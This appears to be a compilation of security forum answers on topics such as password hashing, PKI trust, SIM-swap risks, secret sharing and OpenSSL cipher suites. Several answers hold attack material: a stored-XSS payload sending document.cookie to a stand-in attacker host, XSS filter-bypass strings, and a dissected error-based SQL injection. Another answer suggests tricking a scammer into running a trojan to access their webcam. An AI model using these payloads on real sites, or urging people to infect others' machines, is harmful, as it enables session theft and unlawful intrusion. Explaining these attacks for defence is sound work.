idea to detect data breaches by letting users create single-click single-use email aliases

I can see quite a few reasons why large providers wouldn't want to do this, although they aren't all from a security point of view.

Firstly, they already have huge numbers of email addresses that at some point a human selected, and many of those are terrible - they have a long string of random numbers at the end, and are unmemorable even to the owners. Adding the ability for each user to generate further email addresses would further cut into the supply of acceptable email usernames, especially since you want them to be indistinguishable from main addresses (else your objection to adding +company also applies to these).

Secondly, they already provide the filtering ability (the +company) pattern, which works "well enough" for most people. It can easily be bypassed, true, but can also be used for other purposes, so it's essentially a bonus feature (from what I can tell, it was envisioned for companies to be able to send form submissions into folders automatically by setting the submission address to +feedback, +complaints, etc.). Aliases are also already built in, and if you are a paid customer with your own domain, you can use them as much as you like.

That brings up the third point: they effectively offer this for the people who actually pay them for the service already. It could be considered an incentive to subscribe, rather than just using the free service.

There just doesn't seem to be much of a benefit for the email providers in this case. They are businesses, after all, and have spent a lot of effort in terms of detecting spam and hiding it from users. If you're seeing spam, they're failing at filtering, and if users don't see the spam, they aren't going to be talking about it.

If they wanted to detect potential breaches, they probably have the data anyway - look for email addresses which get messages from specific services, cross reference with junk messages, and make a call based on probability. This would probably be more reliable than the crowdsourced approach, since there is more data available.


Is there an equivalent of npm audit for nuget packages?

Another option is my project: https://github.com/RetireNet/dotnet-retire

It only reports Microsoft packages and works only on .NET Core projects. It does include runtime vulnerability checks, though.

I wrote about it here:

https://blogg.blank.no/hunting-for-vulnerable-nugets-in-net-core-3c37f30e467a
https://blogg.blank.no/automatic-reports-for-vulnerable-asp-net-core-runtimes-426ebcd93ad0


Can a WannaCry infection via zero day vector be blocked by an antivirus?

Maybe. It should.

It all depends on the AV, its inner workings, etc. In addition to how the actual virus works (in this case WannaCry).

For instance, WannaCry has several files, which are unpacked then run. If your AV also detects those in addition to the container, it would be reasonable that it stopped the infection, too.

Additionally, if the machine is directly connected to the internet, it would probably connect to the public sinkhole, thus not doing the real infection.

By the way, just as you should be using an up to date antivirus, you should be up to date with Microsoft patches, which means the machine wouldn't be vulnerable to the smb vulnerability used by ETERNALBLUE.


Security issues for host system when running a home web server on a VM

You dont have much to worry about regarding having your VM hijacked to attack the host of all the possible attacks thats really near the bottom of the list. Your outline above is pretty solid and would deter the majority of attackers (barring bots who will just hammer your system).

If you want to throw an ips on there, check out snort (its fantastic).

In the event your VM is taken over and DOES start attacking your host system all you'll need to do is wipe it and start fresh, of course you should have your code in a revisioning system so you dont lose it all (i like github, but bitbucket offers free private code hosting). As for it being able to attack the rest of the things on your network, it depends on how youre networking on the host OS is configured, you can have it bridged, or have it behind a private NAT; I vote for the NAT'd method as long as you can get your ports forwarded.

I think that covers your questions, let me know if you need any clarification.


How can we trust PKI, for example, Verisign?

1) Certificate authorities are just one method of creating PKI. Pre distributed certificates by a side channel and Web of trust are others. Your question should be, "How can we trust certificate authorities?"

2) That is not how it works, one only connects to verisign to check if the certificate has been revoked. The certificate comes from the same server as you are connecting to and contains verisigns' digital signature with verisigns' public key distributed with the web browser or operating system (or both). In the root certificate store.

As for being able to trust certificate authorities, well it is a big question, there are rules that each browser manufacturer/operating system has before they allow the public key in the root certificate store. The rules state required audits and rules as to when a root certificate should be removed. DigiNotar was a dutch ca that did have it's root certificate pulled. However often the people checking the CAs do not want to pull the bigger ones without 100% proof as websites that use them will instantly break.

Ultimately we have very few ways other ways to manage it at the scale we currently are, though some have tried to prototype other solutions like convergence.


Need references about why public access to a password hash and salt is poor practice

What is bad in revealing the password hash-and-salt is that it allows offline dictionary attacks: since the password hash and the salt are sufficient to verify a potential password, then, by definition, they allow an attacker to try passwords on his own machines, limited only by the number of PC (or other hardware) he can muster. This contrasts with online dictionary attacks, where each try must go through your server, and your server will not accept to try billions of passwords per second.

Password hashing is a second line of defence. You don't want attackers to obtain enough information to run offline dictionary attacks; but when they do, you at least prefer it if they have to pay the full price of the attack, i.e. you show them only password hashes, not the passwords themselves. Plus, you want a slow hash function (with millions of iterations), and the salt to prevent parallel attacks and other similar optimizations (like precomputed tables).

All of this is about protection of passwords, as in "secret data that human users remember". Human brains being what they are, passwords tend to be vulnerable to dictionary attacks. However, if you can convince your human users to remember sequences of 20 random letters (not sequences that they choose themselves, but randomly generated letters), then you can show the hash values, because sufficiently random passwords are out of reach of dictionary attacks anyway -- arguably, these are no longer passwords but keys. Note that this is not a matter of length but of randomness: a password is not strong because it is long, but because it was produced with enough randomness in it; you just need length to make room for randomness.

If you need a reference to smite unbelievers, then invoke NIST Special Publication SP 800-118 (still in draft form, but published nonetheless), which notably includes this quote (from the "executive summary"):

  Password
  cracking attacks can be mitigated by using strong
  passwords, choosing strong cryptographic algorithms
  and implementations for password hashing, and protecting the confidentiality of password hashes.

(Emphasis is mine.)

Password hashing is a difficult art. You say that you use "HMAC/SHA-1", but HMAC is not a hash function; it is a MAC algorithm. MAC algorithms use a key. What you probably mean is that you use a password hashing function which has been designed over one or several invocations of HMAC/SHA-1 as a building block. PBKDF2 is such a password hashing function. It includes an extra parameter which is the number of iterations and that's an important one.

See this answer for a detailed discussion on password hashing, its theory and its practice.


How can I catch an Instant Messenger Identity Thief?

There has been some success by people in trying to 'con the con-artists' into giving away vital pieces of information about where they are who they are.
Depending on the legality of it, you could try and get them to execute a trojan on their PC (while playing along with their Con) and see if you can't get some information that way. It obviously isn't guaranteed to work, but maybe you can activate their webcam, get their personal information through Facebook or something.

If it all goes well, you can then potentially take that information to the police.

You might need to consult a lawyer first to see if this is legal in your country. I'm quite certain that in Australia this would not be allowed.

Please let us know how it works out for you and if the scammer is ever caught.

Hope that helps.


What are the differences between dictionary attack and brute force attack?

Similarities
Both a dictionary and brute force attack are guessing attacks; they are not directly looking for a flaw or bypass. Either can be an offline attack or an online attack.
An online attack tries automated routines providing input to a legitimate system. They are not looking to create an exploit in functionality, but to abuse expected functionality.
An offline attack attempts to emulate the encryption/hashing and requires a known output of that process (i.e., you don't attack the system, you already have the hashed/encrypted password)

Brute Force Attack
Definition: Attempts to determine a secret by trying every possible combination.
Qualities:

The number of attempts is limited by the maximum length and the number of characters to try per position (or byte if considering Unicode passwords)
The time to complete is greater, but there is greater coverage of likely cleartext value (all possibilities only if set to the maximum length and every possible character is considered in every position)

Physical World Example: Given a combination lock which requires three numbers to be taken in sequence, you try every possible combination - e.g., First 1-2-3, then 1-2-4.
Note, a brute force attack may not necessarily try all options in sequential order.  An advanced brute force attack may make certain assumptions, e.g., complexity rules require uppercase, first character more likely to be upper than lower case).

Dictionary Attack
Definition: Typically a guessing attack which uses precompiled list of options. Rather than trying every option, only try complete options which are likely to work.
Qualities:

The dictionary or possible combinations is based upon some likely values and tends to exclude remote possibilities. It may be based on knowing key information about a particular target (family member names, birthday, etc.). The dictionary may be based on patterns seen across a large number of users and known passwods (e.g., whats the most globally likely answers). The dictionary is more likely to include real words than random strings of characters.
The execution time of dictionary attack is reduced because the number of combinations is restricted to those on the dictionary list
There is less coverage and a particularly good password may not be on the list and will therefore be missed

Real World Examples:

Access to a secret club requires knowing the owner's name, you guess "Rob" or "Jake" rather than "computer"
Given the same lock example above, you try a combinations equating to the birthday of the lock owner or the lock owner's friends and family.

Trade Off
The main trade off between the two attacks is coverage versus time to complete. If you have a reasonable thought about what the password will be, you can skip unlikely answers and get a response in a faster amount of time. This is important because passwords are often subject to change and because as password length increases the time to guess every possibility grows really, really fast.
Hybrids
There are of course attacks which leverage both techniques in the interest of balancing the tradeoff. For example, if the attacker believes a user is likely to form a password by concatenating a dictionary word and then adding a number (which he increments each time he is required to change his password), then the guesses being executed may combine the word list and then append numbers (e.g., "mypassword2014" and then "mypassword2015"). Hybrids may also combine words in a brute force manner: Consider a requirement for a user to change his password every 90 days, he may form passwords like "mypasswordsummer" and then "mypasswordfall". The attacker then builds a hybrid attack which will take a dictionary word and then append other dictionary terms (potentially the same of different dictionaries) to make guesses.

Rainbow Table versus Dictionary/Brute Force
A rainbow table is generally an offline only attack. In a brute force attack or dictionary attack, you need to spend time either sending your guess to the real system to running through the algorithm offline. Given a slow hashing or encryption algorithm, this wastes time. Also, the work being done cannot be reused.
A rainbow table is precomputed listing. You actually work backwards from the hashed/encrypted text. The attacker will run through the algorithm to get every possible output given every possible input. The list of inputs may be brute force, dictionary, or hybrid. Based on the list of outputs, the attacker now has a reuseable table mapping inputs to known outputs.
With the precomputed table, a simple lookup is now possible given the encrypted/hashed version of the password. If you can find the victim's encrypted/hashed version you can easily return the real plaintext password. Rainbow tables are used to reduce redundant work. There is a trade off with doing the work up front and storing the tables. For example, if you were just doing a brute force or a dictionary attack, you can stop as soon as you find your answer. However, the rainbow table must be fully calculated.
If you were to run a a rainbow table attack and the 5th entry out of 500 million entries was your match, then all of the effort and time used to create the other 499,999,995 passwords may be considered wasted. However, if you are looking to break multiple passwords to reuse the table over multiple attacks, the time savings can add up.


How sensitive are mobile telephone numbers?

Hacking : It was shown recently (source) that it is possible with enough information including the mobile number to convince a communications provider you've "lost" your SIM, issue a replacement in store (so you don't even need to receive their mail!) and then convince their bank to "trust" you via an SMS code they can text you and give you unauthorised access to their bank account. I suppose this would also work with any form of 2 factor authentication (like my domain registrar) or re-registering for What'sApp.
Information Disclosure : People typically link their mobile number to online services (Facebook, What'sApp, Hangouts, SnapChat). If all you have is a number, you can often reveal a lot of information about that person from that. I'm attempting to move flats at the moment and I add potential landlords' numbers to my phonebook then perform a contact sync in Facebook, What'sApp etc. to see if they are genuine before visiting them.  I often get pictures of people I've nothing other than a number for. Another answer refers to the Last Seen information which has stalking potential (what time are they waking up etc. likely at work and not checking their messages etc.).
Harassment: A study once showed the average person views a SMS text message within 5 seconds of the message being delivered. Unsolicited PPI calls in the UK have shown that people who have nothing other than your number can be quite disruptive. It's very annoying to have to change your number (notifying all the legitimate contacts of the number change), people will often not mute their phone even when receiving an excessive amount of unsolicited calls for fear they will miss an important legitimate one. I wouldn't underestimate the power of a device which most people keep less than a meter away from them for almost their entire day (even when in bed!). Nuisance phonecalls would certainly be disruptive for me!
Hacking : Some services have started using mobile numbers as an alternative method to login (at least Facebook but I'm sure there are others), often to log in as someone else an adversary requires a username and password.. if you already have the username, you're 50% of the way there.
Information Disclosure : In the US a phone number can often reveal the area it was registered in (List of North American Numbering Plan area codes). So you could move onto voting records etc. to try to find where that person lives. This was particularly notable with the SnapChat leak where due to the reputation the service has for sexting people performed analysis on the numbers to work out what areas people were located in.
Hacking : In the UK a number may (assuming they haven't switched providers) reveal their mobile provider which may further help an adversary commit some form of ID theft / phishing against the communications provider (a Vodafone prefixed telephone number might give away that the user is a Vodafone customer and from there someone could try and impersonate the owner of the number). Failing that if you get through to Voicemail often a network standard voicemail will be present (or some well known operator specific instructions after a custom outgoing message "You can press 1 at any time to re-record your message" can also reveal the provider).
Hacking : It was previously possible in the UK to ring up a communications provider's voicemail service, enter in the mobile number of someone and try the network's default PIN to remotely access their voicemail. This was used by a lot of UK media companies against some incredibly high profile people (source).
Hacking : Phone networks are often vulnerable to caller ID spoofing and if an adversary has your number they might be able to call people with your number and social engineer someone (your work's receptionist at the large organisation you work for?) into revealing further information about you. I doubt my payroll department would recognise my voice over anyone else's but I'm sure they'd believe that it has to be me because of my mobile number matching what the HR database says!

My personal take on my mobile number is I'll give it to anyone who has a legitimate reason to reach me, but I restrict it to those that are already friends on Facebook and certainly wouldn't place it anywhere particularly public.


Should a GPG private key always be strictly protected?

To me, this is less about the protection of the GPG key, but the protection of every account and service that you use.
Putting any kind of personal or non-work data on a work-issued device is inherently risky. You do not necessarily know who has remote access into the device, where or how backups are taken and stored, who has access to those backups, who has access to network traffic that may flow through a VPN, and more.
Putting your private keys on such a device means that you are likely going to be using those passwords to access services. In the worst possible case, not only would your private key be compromised, but all of your passwords would be, along with anything stored locally on the work-issued computer and possibly even network traffic.
Everything does depend on the threats that you are trying to mitigate. However, putting a private key out in the wild seems like a generally bad idea, even with a strong passphrase. Even if nothing bad necessarily happened to your passwords, there are good reasons to keep your personal stuff as isolated from your work stuff as possible that aren't directly security-related.


Is an SSL VPN instead of a normal VPN a good idea?

In general I don't understand why you want a VPN if you only want to access web services anyway. I mean if you don't want to access the local network why use a VPN? Just use a reverse proxy and htaccess, like this example.

Trying to answer the question:

Maybe you can add more information about what exactly you mean by SSL VPN and normal VPN. Using this SSL VPN definition the answer is probably not necessarily.

According to that website:

  SSL VPN delivers the following three modes of SSL VPN access:

  •Clientless—Clientless mode provides secure access to private web
  resources and will provide access to web content. This mode is useful
  for accessing most content that you would expect to access in a web
  browser, such as Internet access, databases, and online tools that
  employ a web interface.

  •Thin Client (port-forwarding Java applet)—Thin client mode extends
  the capability of the cryptographic functions of the web browser to
  enable remote access to TCP-based applications such as Post Office
  Protocol version 3 (POP3), Simple Mail Transfer Protocol (SMTP),
  Internet Message Access protocol (IMAP), Telnet, and Secure Shell
  (SSH).

  •Tunnel Mode—Full tunnel client mode offers extensive application
  support through its dynamically downloaded Cisco AnyConnect VPN Client
  (next-generation SSL VPN Client) for SSL VPN. Full tunnel client mode
  delivers a lightweight, centrally configured and easy-to-support SSL
  VPN tunneling client that provides network layer access to virtually
  any application.

But this only defines the access mode, so what the client does to access the VPN not what the VPN supports. So, it would depend on if your VPN server allows you to allow clientless mode only.


Does it affect the probability of successful trasmission if a jammer hops channels?

Assuming that both, the legitimate sender and the jammer, are picking their channels at synchronized intervals using independent randomness, the probability for successful transmission is indeed (9/10)5.

The logic in your second approach is not correct because for a successful transmission, it is not required that both sets of channels have no common element. It is sufficient if the channels are different at any given point in time.

Consider the following example of unaffected transmission.

used channel:      1 2 3 4 5
jammed channel:    8 5 9 7 7

Even though both sets overlap on channel 5, it is only jammed during a period where it is not used.

Note my weasel wording in the first paragraph, though. It is highly unrealistic that both parties have synchronized intervals. But if they haven't, a jammer interval can overlap two sender intervals (or even three if the period is not exactly 1 second) and the probability becomes more complicated.


Android update phone number, "To continue, first verify it's you"

This looks legitimate, I've received it myself on all Google accounts. Unfortunately, without entering your password, you cannot really know more what this is about, than what the short notification text says, but likely Google wants you to provide or update your number for them to use it for different purposes on your account, including to recover when you forgot your password.

Depending on your Android version, the notification will show what app generated it, or you can see it by long holding the notification. If it is "Google Play Services", it's likely to be a legitimate notification generated by Google. Similarly, the activity the login screen is in would be hosted by the Google Play Services app as well.


How do I differentiate a DDoS attack from a DoS attack?

The main difference between a DoS and DDoS is that a DDoS (distributed) requires multiple hosts to flood one or multiple target servers, in other words, the volume of a DDoS is quite heavier. In your case, if your server can provide other services other than the targeted port and is taking few physical resources, chances are you are currently victim of a DoS, which means one specific computer has scanned an open port and is trying to saturate it at the moment (it could be for example a brute-force attack trying multiple combinaisons of credentials onto a service in order to login or a SYN flood attack, there is a wide choice of possibilities). Also, if you were involved in a DDoS attack, it would be probable that the entire server would not be able to provide any kind of service at all.


domain certification, webservers, load-balancer and licensing

can I just use 1 cert and install the same cert+ptvkey+intermediacert on the loadbalancer and all the webservers ?

Yes, you can use single purchased certificate on all affected components (load balancers, proxy, web servers) as long as they serve the same domain name. You don't need to purchase separate certificate (with the same name) for each component.


How to securely share a secret/ password by between n individuals, so that majority consensus is required to retrieve the password / secret?

This sounds like Secret Sharing or Secret Splitting.

Secret sharing (also called secret splitting) refers to methods for
distributing a secret among a group of participants, each of whom is
allocated a share of the secret. The secret can be reconstructed only
when a sufficient number, of possibly different types, of shares are
combined together; individual shares are of no use on their own.

More specifically Shamir's_Secret_Sharing

is an algorithm in cryptography created by Adi Shamir. It is a form of
secret sharing, where a secret is divided into parts, giving each
participant its own unique part.
To reconstruct the original secret, a minimum number of parts is
required. In the threshold scheme this number is less than the total
number of parts. Otherwise all participants are needed to reconstruct
the original secret.
Shamir's Secret Sharing (SSS) is used to secure a secret in a
distributed way, most often to secure other encryption keys. The
secret is split into multiple parts, called shares. These shares are
used to reconstruct the original secret.
To unlock the secret via Shamir's secret sharing, you need a minimum
number of shares. This is called the threshold, and is used to denote
the minimum number of shares needed to unlock the secret. Let us walk
through an example:
Problem: Company XYZ needs to secure their vault's passcode. They
could use something standard, such as AES, but what if the holder of
the key is unavailable or dies? What if the key is compromised via a
malicious hacker or the holder of the key turns rogue, and uses their
power over the vault to their benefit?
This is where SSS comes in. It can be used to encrypt the vault's
passcode and generate a certain number of shares, where a certain
number of shares can be allocated to each executive within Company
XYZ. Now, only if they pool their shares can they unlock the vault.
The threshold can be appropriately set for the number of executives,
so the vault is always able to be accessed by the authorized
individuals. Should a share or two fall into the wrong hands, they
couldn't open the passcode unless the other executives cooperated.

There is an example Python program of Shamir's_Secret_Sharing.


My bank support just asked me for my online banking credentials

Assuming that you called them on a published number, I'd say that this sounds like it was an interactive Voice Response (IVR) system, which is pretty common in the banking world.

The concept is that the system takes your authentication information before passing you on to a contact centre agent.  The benefit of this from a security perspective is that then the agent in the call centre doesn't have to ask you to authenticate yourself, before discussing your account.

If correctly implemented this should be no more insecure than typing your password into a website.  There is an automated system processing the voice data and it should store/log this appropriately.

Of course as you point out there is the risk of phone tapping, but then if you assume that your phone line is tapped, any form of phone banking is insecure as they've got to authenticate you somehow to be able to discuss your account with you.

EDIT: To add some more details, rather than leave them scattered around comments that could get cleared.

Basically banks have to authenticate you somehow, no matter which channel (e.g. web, phone, branch) you use to contact them, and there are trade-offs to be considered.

On the one hand having dedicated credentials per channel is useful in that it reduce the risk of compromise, and avoids muddying the message of "don't tell people your web password" but it leaves users with more credentials to manage and in all likelihood a lot of password resets if users only use a specific channel rarely (with all the vulnerabilities that frequent resets attract)

So the option that it appears, from the information provided, that's used here is to combine the credentials for the web and phone channels, and to use an automated IVR system on the phone channel to avoid credentials being given to contact centre agents.  The upside here is single set of creds, so user's won't forget them, and the downside is the scenario we see where bank messaging "don't give people your password" leads to problems in using this system.

In terms of the IVR system security, this is essentially like any other system that processes data. It needs to be secured appropriately so that user credentials are not exposed, no different than the web channel.

Obviously a system like hardware (not SMS) 2FA could work well in this scenario as numeric codes are easily passed to IVR systems, but that has it's own tradeoffs in terms of cost and user experience.


Well, let's dissect it:

CONCAT_WS - Concatenate with separator.
version() - Returns the version of MySQL.
FLOOR(rand(0)*2) - Emits the following sequence of numbers: 0, 1, 1, 0, 1, ...
having min(0) - By itself, this is illegal, as the HAVING clause requires a condition. This, and the fact that there's no ; -- on the end, implies that the injection is expecting a condition at the end.

So, this concatenates the version string and a sequence of numbers across a group. The sequence of numbers for the group clause is derived from FLOOR(rand(0)*2).

The thing about GROUP is that it requires unique group keys. Since version() will return the same value each time, concatenating that and the output of FLOOR(rand(0)*2) three times will result in two different numbers (0, 1) then a second instance of 1, which causes an error (duplicate entry for group key), which is displayed back to the user. That error looks something like this:

  Duplicate entry '5.6.24-1~1' for key 'group_key'

This causes the version number to be leaked back in the response as part of an error-based SQL injection attack. This can then be expanded to perform other attacks.

As for why the attacker chose FLOOR(rand(0)*2), it's a dead-simple expression which is reliable (the rand() function is a PRNG which takes a seed parameter; the same seed produces the same sequence always) and satisfies the requirement of having a duplicate output relatively quickly. You could pick a value other than 0 and it would still work.


Correctly filtering XSS from input is pretty hard. Most XSS filters can be bypassed by modifying the payload. For example, the following HTML will pass through your XSS filter:

<h1 onmouseover =alert`XSS`>Test

Because there is a space between onmouseover and =, your regex doesn't match. Another possible bypass is this:

<h1 oonmouseover=nmouseover=alert`XSS`>Test

The occurrence of onmouseover= will be removed once, leaving the following:

<h1 onmouseover=alert`XSS`>Test

One possibility is to use HTML Purifier, a library that is pretty good at cleaning up XSS. But the real solution against XSS is output encoding, so that when a user enters


Should internal security tools use self signed certificates?

If the certificates are invalid, users using the system will likely become accustomed to selecting proceed anyway on their browser warning which isn't advisable from a security perspective. Anything could be proxying the traffic and intercepting system credentials. If the credentials are integrated with a corporate authentication system, the credentials could be pretty useful. If the credentials are limited to a log system for example, someone could selectively clear logs while logged in as another individual.

You can install the system certificate, install other corporate certificates or install certificates from recognised CAs. People shouldn't be encouraged to ignore security warnings.


How to show XSS popup without using alert and script keywords?

No attacker will ever use alert(),  checking for this within an attack string is more than just a waste of time,  it shows that the developer doesn't understand how software is attacked.

You could show a real world attack,  where you read a CSRF token or the document.cookie value:

document.write("<img src=http://attacker/cookie_theif?c="+document.cookie+" />")

You could also rewrite the page, this could be used to turn the page into a phasing page:

document.body.innerHTML="owned:"+document.cookie


How to safely reuse passwords in variation?

In security we always assume the algorithm is known, as such adding some structure to a password will not help you to increase its entropy (strength). This as an informative side thought as this is not the subject of the question.

Assuming your "basic password" has enough entropy (is strong enough) your proposed method is actually rather safe on the assumption that all the sites you use this method on hash their passwords.

The safety of your method relies on not being able to use the password obtained from one breached site to gain access to other sites. When your password is hashed this is the case.

However should one site not hash your password, or have a vulnerability in their hash. The whole system is vulnerable.

What your system actually does is add "salt" to the system. Many sites already do this for you, best practice requires it. So what you are basically doing is adding your own salt which could help with sites that do hash their password but do not add salt. So opposed to using the same password everywhere this increases security but not a lot.

As such I would not recommend such method and would say that a password manager, even if they do have their issues, is a safer solution to the password problem.


Unix does not use file extensions that much, they are mostly introduced in Linux. Still then, the shell interpreter in Linux is activated when a file has execution permissions. Then the language specific interpreter specified on the first line is called with the current file as argument. This is different from Windows, where most files are bound to a extension class (HKEY_CLASSES_ROOT). One can call the interpreter directly and supply the file-to-execute as an argument, in this case there is no need for +x on the file itself.

Files that are executable by themselves (ELF in Linux and most Unices, Mach-O in OS X) always need the execution flag. They are executed when called, regardless of the extension (or contents).

#nerd note: Executable programms can be run with only a +r flag, if the ld-linux.so was called first.


BufferOverflow : ESP and access violation

No, both registers just point to stack addresses, with ESP being the top of the stack and EBP the base of the stack frame (usually).


What kind of completely online business can I run doing infosec/cyber security?

Go bug bounty hunting.

Participating in companies' bug bounty programs is something you

can do part-time (in fact, whenever you like),
doesn't require your physical presence anywhere and
certainly isn't coding only.

One way to get started is by creating an account at a bug hunting platform such as Bugcrowd or HackerOne where you can find tons of companies that offer monetary rewards for reporting vulnerabilities in their products and services. Or you can directly check out individual vulnerability reward programs, such as the ones of Google and PayPal.

(The bug hunting community has grown significantly in recent years, so being able to compete will require you some creativity and thorough knowledge of the technologies you're pentesting, though.)


Can an eavesdropper detect the use of a TLS client-side certificate?

Yes, the client certificate is sent in the clear if the server sent a certificate request.

Some servers (IIRC, Microsoft IIS) first perform handshake with no user authentication and then start a renegotiation asking for client certificate. The renegotiation is thus encrypted using the cipher suite negotiated in step 1 and the client certificate is encrypted on the wire.

If in doubt, use wireshark.


taking input from webform and piping into bash password prompt

First of all, there's a pretty good chance that whatever you're trying to build, somebody else has built it already. That doesn't mean they built it right, but a solution probably exists.

Second, whatever web framework you intend to use, there's a pretty good chance that a GPG library exists for it, so you can call the gpg functions directly in code instead of shelling out to a command line.

Third, gpg command line has a --batch option that is specifically designed for non-interactive use where you have a program running the executable instead of a user at a terminal.

And finally, the primary danger with passing user input to command line programs is shell interpretation. If you execute the application directly (e.g. using execve or execle or any of the exec syscalls) where options are passed as a list not as a single space-delimited string, then no escaping or special treatment of parameters is needed, since the parameters are not being read and interpreted by a shell. As a rule, shell interpretation is bad unless you know otherwise, and should be avoided.


As an addon to Trey's answer:

I use the string ALL:COMPLEMENTOFALL when want I every cipher suite.
I use the -V (upper case V) option to make OpenSSL output the hex-IDs of the cipher suites.

Note: OpenSSL is not authoritative for answering these questions. IANA is. (But I couldn't get their CSV file parsed nicely.)
$ ./openssl version
OpenSSL 1.1.0-pre6-dev  xx XXX xxxx

$ ./openssl ciphers -V 'ALL:COMPLEMENTOFALL' | awk '{print $4}' | sort | uniq -c
     64 SSLv3
     24 TLSv1
     70 TLSv1.2

And there is a breakdown by protocol version below.
SSLv3
$ ./openssl ciphers -V 'ALL:COMPLEMENTOFALL' | sort | grep ' SSLv3 '
0x00,0x01 - NULL-MD5                SSLv3 Kx=RSA      Au=RSA  Enc=None      Mac=MD5
0x00,0x02 - NULL-SHA                SSLv3 Kx=RSA      Au=RSA  Enc=None      Mac=SHA1
0x00,0x07 - IDEA-CBC-SHA            SSLv3 Kx=RSA      Au=RSA  Enc=IDEA(128) Mac=SHA1
0x00,0x0A - DES-CBC3-SHA            SSLv3 Kx=RSA      Au=RSA  Enc=3DES(168) Mac=SHA1
0x00,0x13 - DHE-DSS-DES-CBC3-SHA    SSLv3 Kx=DH       Au=DSS  Enc=3DES(168) Mac=SHA1
0x00,0x16 - DHE-RSA-DES-CBC3-SHA    SSLv3 Kx=DH       Au=RSA  Enc=3DES(168) Mac=SHA1
0x00,0x1B - ADH-DES-CBC3-SHA        SSLv3 Kx=DH       Au=None Enc=3DES(168) Mac=SHA1
0x00,0x2C - PSK-NULL-SHA            SSLv3 Kx=PSK      Au=PSK  Enc=None      Mac=SHA1
0x00,0x2D - DHE-PSK-NULL-SHA        SSLv3 Kx=DHEPSK   Au=PSK  Enc=None      Mac=SHA1
0x00,0x2E - RSA-PSK-NULL-SHA        SSLv3 Kx=RSAPSK   Au=RSA  Enc=None      Mac=SHA1
0x00,0x2F - AES128-SHA              SSLv3 Kx=RSA      Au=RSA  Enc=AES(128)  Mac=SHA1
0x00,0x32 - DHE-DSS-AES128-SHA      SSLv3 Kx=DH       Au=DSS  Enc=AES(128)  Mac=SHA1
0x00,0x33 - DHE-RSA-AES128-SHA      SSLv3 Kx=DH       Au=RSA  Enc=AES(128)  Mac=SHA1
0x00,0x34 - ADH-AES128-SHA          SSLv3 Kx=DH       Au=None Enc=AES(128)  Mac=SHA1
0x00,0x35 - AES256-SHA              SSLv3 Kx=RSA      Au=RSA  Enc=AES(256)  Mac=SHA1
0x00,0x38 - DHE-DSS-AES256-SHA      SSLv3 Kx=DH       Au=DSS  Enc=AES(256)  Mac=SHA1
0x00,0x39 - DHE-RSA-AES256-SHA      SSLv3 Kx=DH       Au=RSA  Enc=AES(256)  Mac=SHA1
0x00,0x3A - ADH-AES256-SHA          SSLv3 Kx=DH       Au=None Enc=AES(256)  Mac=SHA1
0x00,0x41 - CAMELLIA128-SHA         SSLv3 Kx=RSA      Au=RSA  Enc=Camellia(128) Mac=SHA1
0x00,0x44 - DHE-DSS-CAMELLIA128-SHA SSLv3 Kx=DH       Au=DSS  Enc=Camellia(128) Mac=SHA1
0x00,0x45 - DHE-RSA-CAMELLIA128-SHA SSLv3 Kx=DH       Au=RSA  Enc=Camellia(128) Mac=SHA1
0x00,0x46 - ADH-CAMELLIA128-SHA     SSLv3 Kx=DH       Au=None Enc=Camellia(128) Mac=SHA1
0x00,0x84 - CAMELLIA256-SHA         SSLv3 Kx=RSA      Au=RSA  Enc=Camellia(256) Mac=SHA1
0x00,0x87 - DHE-DSS-CAMELLIA256-SHA SSLv3 Kx=DH       Au=DSS  Enc=Camellia(256) Mac=SHA1
0x00,0x88 - DHE-RSA-CAMELLIA256-SHA SSLv3 Kx=DH       Au=RSA  Enc=Camellia(256) Mac=SHA1
0x00,0x89 - ADH-CAMELLIA256-SHA     SSLv3 Kx=DH       Au=None Enc=Camellia(256) Mac=SHA1
0x00,0x8B - PSK-3DES-EDE-CBC-SHA    SSLv3 Kx=PSK      Au=PSK  Enc=3DES(168) Mac=SHA1
0x00,0x8C - PSK-AES128-CBC-SHA      SSLv3 Kx=PSK      Au=PSK  Enc=AES(128)  Mac=SHA1
0x00,0x8D - PSK-AES256-CBC-SHA      SSLv3 Kx=PSK      Au=PSK  Enc=AES(256)  Mac=SHA1
0x00,0x8F - DHE-PSK-3DES-EDE-CBC-SHA SSLv3 Kx=DHEPSK   Au=PSK  Enc=3DES(168) Mac=SHA1
0x00,0x90 - DHE-PSK-AES128-CBC-SHA  SSLv3 Kx=DHEPSK   Au=PSK  Enc=AES(128)  Mac=SHA1
0x00,0x91 - DHE-PSK-AES256-CBC-SHA  SSLv3 Kx=DHEPSK   Au=PSK  Enc=AES(256)  Mac=SHA1
0x00,0x93 - RSA-PSK-3DES-EDE-CBC-SHA SSLv3 Kx=RSAPSK   Au=RSA  Enc=3DES(168) Mac=SHA1
0x00,0x94 - RSA-PSK-AES128-CBC-SHA  SSLv3 Kx=RSAPSK   Au=RSA  Enc=AES(128)  Mac=SHA1
0x00,0x95 - RSA-PSK-AES256-CBC-SHA  SSLv3 Kx=RSAPSK   Au=RSA  Enc=AES(256)  Mac=SHA1
0x00,0x96 - SEED-SHA                SSLv3 Kx=RSA      Au=RSA  Enc=SEED(128) Mac=SHA1
0x00,0x99 - DHE-DSS-SEED-SHA        SSLv3 Kx=DH       Au=DSS  Enc=SEED(128) Mac=SHA1
0x00,0x9A - DHE-RSA-SEED-SHA        SSLv3 Kx=DH       Au=RSA  Enc=SEED(128) Mac=SHA1
0x00,0x9B - ADH-SEED-SHA            SSLv3 Kx=DH       Au=None Enc=SEED(128) Mac=SHA1
0xC0,0x06 - ECDHE-ECDSA-NULL-SHA    SSLv3 Kx=ECDH     Au=ECDSA Enc=None      Mac=SHA1
0xC0,0x08 - ECDHE-ECDSA-DES-CBC3-SHA SSLv3 Kx=ECDH     Au=ECDSA Enc=3DES(168) Mac=SHA1
0xC0,0x09 - ECDHE-ECDSA-AES128-SHA  SSLv3 Kx=ECDH     Au=ECDSA Enc=AES(128)  Mac=SHA1
0xC0,0x0A - ECDHE-ECDSA-AES256-SHA  SSLv3 Kx=ECDH     Au=ECDSA Enc=AES(256)  Mac=SHA1
0xC0,0x10 - ECDHE-RSA-NULL-SHA      SSLv3 Kx=ECDH     Au=RSA  Enc=None      Mac=SHA1
0xC0,0x12 - ECDHE-RSA-DES-CBC3-SHA  SSLv3 Kx=ECDH     Au=RSA  Enc=3DES(168) Mac=SHA1
0xC0,0x13 - ECDHE-RSA-AES128-SHA    SSLv3 Kx=ECDH     Au=RSA  Enc=AES(128)  Mac=SHA1
0xC0,0x14 - ECDHE-RSA-AES256-SHA    SSLv3 Kx=ECDH     Au=RSA  Enc=AES(256)  Mac=SHA1
